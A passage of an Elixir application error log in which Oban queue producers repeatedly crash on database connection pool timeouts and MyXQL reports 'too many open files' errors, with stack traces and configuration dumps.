#Reference<0.2525715032.1077411843.212368>, refresh_timer: #Reference<0.2525715032.1068236804.233618>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:43:44.239310Z], limit: 5, uuid: "42bb31a2-1e6a-428d-896b-bb3c8a05190f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:44.239315Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.88632>, refresh_timer: #Reference<0.2525715032.1121189889.88600>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:43:44.238073Z], limit: 5, uuid: "32f369d1-afe9-4393-b372-f072813f6c4a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:44.238080Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212369>, refresh_timer: #Reference<0.2525715032.1121189889.88575>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:43:44.240164Z], limit: 20, uuid: "06861f99-d699-4695-b5a0-7f4fe72a901e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:44.240169Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212366>, refresh_timer: #Reference<0.2525715032.1077411843.212358>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:43:44.241243Z], limit: 3, uuid: "847da35e-3ed4-4e77-8550-884fb8cda9e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:44.241249Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212370>, refresh_timer: #Reference<0.2525715032.1121189889.88631>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:58.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:00.222000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:00.790000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:03.086000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:03.802000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:05.714000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:07.538000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:43:56.239070Z], limit: 50, uuid: "6c5221f3-b1ca-4197-a180-5d1b93f6f86e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:56.239079Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.88945>, refresh_timer: #Reference<0.2525715032.1121189889.88907>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:43:56.241216Z], limit: 3, uuid: "3a126ea9-d481-4246-9bdc-1d2f7e68a706", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:56.241221Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.233654>, refresh_timer: #Reference<0.2525715032.1121189889.88944>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:43:56.240028Z], limit: 5, uuid: "02b04db8-4cea-4c13-abd1-ce2f6699f07c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:56.240033Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212737>, refresh_timer: #Reference<0.2525715032.1068236804.233649>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:43:56.239737Z], limit: 10, uuid: "da662bf7-5913-408e-b9f2-9198996aa610", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:56.239743Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212735>, refresh_timer: #Reference<0.2525715032.1077411843.212710>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:08.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
